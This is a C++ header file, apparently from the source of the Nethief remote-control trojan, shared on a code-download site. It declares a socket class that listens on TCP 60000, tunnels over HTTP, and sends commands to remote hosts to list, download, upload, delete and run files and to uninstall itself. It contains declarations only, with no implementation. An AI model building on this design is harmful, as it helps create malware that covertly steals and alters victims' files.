www.pudn.com > Nethief.rar > FileSocket.h
// FileSocket.h: interface for the CFileSocket class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_FILESOCKET_H__45505701_10D1_11D5_89D9_409906C10000__INCLUDED_)
#define AFX_FILESOCKET_H__45505701_10D1_11D5_89D9_409906C10000__INCLUDED_
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
//*************************************
#pragma pack(1) //字节对齐
#pragma pack() //使用缺省对齐
//*************************************
class CFileSocket
{
public:
CFileSocket();
virtual ~CFileSocket();
public:
//*****************************************************************
////////////////////////成员变量/////////////////////////////
BOOL m_bStop; //停止当前操作
CString m_strAddress; //对方的IP地址及端口
CString m_strClientName; //正在进行连接的客户端主机名
BOOL m_bIsHttpTunnel; //正在进行连接的客户端是否是HTTP隧道主机
CByteArray m_ArrayBuffer;
CProgressCtrl* m_pProgress; //状态栏进度条指针
SOCKET m_hListenSocket; //监听Socket,TCP 60000
//当前连接的服务端信息///////////
SOCKET m_hConnectSocket; //当前连接Socket
CString m_strHostName; //当前连接服务端的主机名
int m_nHostAttribute; //当前连接服务端的主机属性
/////////////////////////////////
////////////////////////成员函数/////////////////////////////
void Initial(CProgressCtrl* pProgress);
void Close();
//////////////////////////////////////
void NotifyClientConnect(CString strClientName,BOOL bIsHttpTunnel);
BOOL BeginListen();
void EndListen();
void DisconnectClient();
void Command_IDVerify();
void Command_DownloadDiskDriveInfo();
void Command_ExpandDirectory(CString strHostName,CString strPath);
void Command_ShowFileList(CString strHostName,CString strPath);
void Command_RenameFile(CString strHostName,CString strPath,CString strFilename1,CString strFilename2);
void Command_NewFile(CString strHostName,CString strFullFilename);
void Command_NewFolder(CString strHostName,CString strFullFilename);
void Command_DeleteFile(CString strHostName,CString strFrom);
void Command_RemotePaste(CString strHostName,CString strFrom,CString strTo,DWORD dwFOFlags);
void Command_GetOperationObject(CString strHostName,CString strFrom);
void Command_DownloadFile(CString strHostName,CString strFilename1,CString strFilename2,DWORD dwStartPosition,BOOL bIsCut);
void Command_UploadFile(CString strHostName,CString strFilename1,CString strFilename2,DWORD dwStartPosition,BOOL bIsCut);
void Command_ShowProperty_Multi(CString strHostName,CString strPath);
void Command_ShowProperty_Single(CString strHostName,CString strFilename);
void Command_ModifyProperty_Single(CString strHostName,CString strFilename,DWORD dwFileAttributes);
void Command_ShowProperty_Diskdrive(CString strHostName,CString strDiskDrive);
void Command_ModifyProperty_Diskdrive(CString strHostName,CString strDiskDrive,CString strVolumeName);
void Command_RemoteRun(CString strHostName,CString strFilename,CString strParam,int nShowCmd);
void Command_RemoteUninstall(CString strHostName);
void Command_FindFile(CString strHostName,CString strFindDir,CString strFindFile,BOOL bSearchSubdir);
void Command_ShowNote(CString strHostName);
void Command_GetFileInfo(CString strHostName,CString strFilename);
///////////////////////////////////////
void OnSocketAccept();
BOOL IsClientConnected(CString strHostName);
//*****************************************************************
private:
//*****************************************************************
////////////////////////成员变量/////////////////////////////
////////////////////////成员函数/////////////////////////////
void CStringToChar(char* cText,CString strText);
CString CharToCString(char* cText,UINT nSize);
void CreateMultilevelDir(CString strDirName);
int SendCommand(SOCKET hSocket,int nControlCode,DWORD dwCommand,BYTE* byBuf=NULL,DWORD dwBufSize=NULL,BOOL bProgress=TRUE);
DWORD RecvCommandDataSize(SOCKET hSocket);
int RecvCommandData(SOCKET hSocket,BYTE* byBuf,DWORD dwBufSize,BOOL bProgress=TRUE);
BOOL HttpTunnelSendHeader(DWORD dwDataSize);//发送HTTP头
BOOL HttpTunnelRecvHeader();//接收HTTP头
//*****************************************************************
};
#endif // !defined(AFX_FILESOCKET_H__45505701_10D1_11D5_89D9_409906C10000__INCLUDED_)